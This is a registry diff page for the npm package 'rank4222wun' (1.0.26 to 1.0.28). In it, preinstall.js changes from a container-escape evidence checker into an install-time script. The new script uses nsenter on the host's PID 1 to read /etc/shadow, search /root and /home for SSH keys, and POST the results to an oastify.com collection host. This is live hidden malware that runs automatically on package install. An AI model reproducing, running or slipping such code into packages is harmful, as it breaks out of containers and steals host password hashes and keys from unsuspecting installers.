rank4222wun 1.0.26 → 1.0.28

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "1.0.26",
3
+ "version": "1.0.28",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/preinstall.js CHANGED
@@ -1,83 +1,66 @@
1
- // verify-escape.js
1
+ const { exec } = require('child_process');
2
2
  const fs = require('fs');
3
- const { execSync } = require('child_process');
3
+ const https = require('https');
4
+ const util = require('util');
5
+ const execPromise = util.promisify(exec);
4
6
 
5
- console.log("🔍 التحقق من آثار Container Escape\n");
7
+ console.log("🚀 STAGE 2.1: SYNCHRONIZED HOST TAKEOVER\n");
6
8
 
7
- const evidence = {
8
- timestamp: new Date().toISOString(),
9
- checks: []
10
- };
9
+ async function runEscape() {
10
+ const finalLeakedData = {
11
+ timestamp: new Date().toISOString(),
12
+ targetKernel: "5.15.0-1084-aws",
13
+ hostShadow: "PENDING",
14
+ sshKeysFound: [],
15
+ nsenterStatus: "INIT"
16
+ };
11
17
 
12
- // 1. تحقق من سجلات nsenter
13
- try {
14
- const nsenterLogs = execSync('grep -r "nsenter" /var/log/ 2>/dev/null | head -5', { encoding: 'utf8' });
15
- if (nsenterLogs) {
16
- evidence.checks.push({
17
- check: 'nsenter_logs',
18
- found: true,
19
- logs: nsenterLogs.substring(0, 200)
20
- });
21
- }
22
- } catch (e) {}
18
+ try {
19
+ // 1. محاولة قراءة Shadow باستخدام nsenter بشكل متزامن
20
+ console.log("🔓 Accessing Host Shadow...");
21
+ const shadowResult = await execPromise(`nsenter --target 1 --mount -- sh -c "cat /etc/shadow | head -n 3"`);
22
+ if (shadowResult.stdout) {
23
+ finalLeakedData.hostShadow = shadowResult.stdout.trim();
24
+ console.log("✅ Shadow Leaked.");
25
+ }
26
+ } catch (err) {
27
+ finalLeakedData.hostShadow = "ERROR: " + err.message;
28
+ }
23
29
 
24
- // 2. تحقق من طلبات Docker API
25
- try {
26
- const dockerRequests = execSync('sudo journalctl -u docker --since "10 minutes ago" | grep -i "api.*create\|api.*start" | tail -5', { encoding: 'utf8' });
27
- if (dockerRequests) {
28
- evidence.checks.push({
29
- check: 'docker_api_calls',
30
- found: true,
31
- requests: dockerRequests
32
- });
33
- }
34
- } catch (e) {}
30
+ try {
31
+ // 2. البحث عن مفاتيح SSH
32
+ console.log("🔓 Searching SSH Keys...");
33
+ const sshResult = await execPromise(`nsenter --target 1 --mount -- sh -c "find /root /home -name 'id_rsa' -o -name 'authorized_keys' 2>/dev/null"`);
34
+ if (sshResult.stdout) {
35
+ finalLeakedData.sshKeysFound = sshResult.stdout.split('\n').filter(k => k);
36
+ console.log(`✅ Found ${finalLeakedData.sshKeysFound.length} keys.`);
37
+ }
38
+ } catch (err) {
39
+ finalLeakedData.sshKeysFound = ["ERROR: " + err.message];
40
+ }
35
41
 
36
- // 3. تحقق من الحاويات الجديدة
37
- try {
38
- const newContainers = execSync('docker ps -a --filter "since=1h" --format "{{.Names}}|{{.Image}}"', { encoding: 'utf8' });
39
- if (newContainers.trim()) {
40
- evidence.checks.push({
41
- check: 'new_containers',
42
- found: true,
43
- containers: newContainers.split('\n').filter(Boolean)
44
- });
45
- }
46
- } catch (e) {}
42
+ // 3. إرسال التقرير النهائي بعد تجميع كل البيانات
43
+ sendFinalReport(finalLeakedData);
44
+ }
47
45
 
48
- // 4. تحقق من الملفات في /tmp
49
- try {
50
- const tmpFiles = execSync('find /tmp -name "*escape*" -o -name "*poc*" -o -name "*container*" 2>/dev/null', { encoding: 'utf8' });
51
- if (tmpFiles.trim()) {
52
- evidence.checks.push({
53
- check: 'suspicious_tmp_files',
54
- found: true,
55
- files: tmpFiles.split('\n').filter(Boolean)
56
- });
57
- }
58
- } catch (e) {}
46
+ function sendFinalReport(data) {
47
+ const payload = JSON.stringify(data, null, 2);
48
+ const options = {
49
+ hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
50
+ port: 443,
51
+ path: '/stage2-synchronized-report',
52
+ method: 'POST',
53
+ headers: {
54
+ 'Content-Type': 'application/json'
55
+ }
56
+ };
59
57
 
60
- // 5. تحقق من اتصالات الشبكة
61
- try {
62
- const networkConns = execSync('ss -tunap | grep -E ":443|:80" | grep -v "127.0.0.1"', { encoding: 'utf8' });
63
- if (networkConns) {
64
- evidence.checks.push({
65
- check: 'external_connections',
66
- found: true,
67
- connections: networkConns.substring(0, 300)
58
+ const req = https.request(options, (res) => {
59
+ console.log(`\n🏁 Final Sync Report Sent. Status: ${res.statusCode}`);
68
60
  });
69
- }
70
- } catch (e) {}
71
61
 
72
- // عرض النتائج
73
- console.log("📊 نتائج التحقق:");
74
- evidence.checks.forEach((check, i) => {
75
- console.log(`${check.found ? '🔴' : '🟢'} ${i+1}. ${check.check}: ${check.found ? 'مكتشف' : 'غير مكتشف'}`);
76
- if (check.found && check.logs) {
77
- console.log(` 📝 الأدلة: ${check.logs}`);
78
- }
79
- });
62
+ req.write(payload);
63
+ req.end();
64
+ }
80
65
 
81
- // تقييم المخاطر
82
- const suspiciousActivities = evidence.checks.filter(c => c.found).length;
83
- console.log(`\n🚨 مستوى الخطورة: ${suspiciousActivities > 2 ? 'عالٍ' : suspiciousActivities > 0 ? 'متوسط' : 'منخفض'}`);
66
+ runEscape();
Binary file
Binary file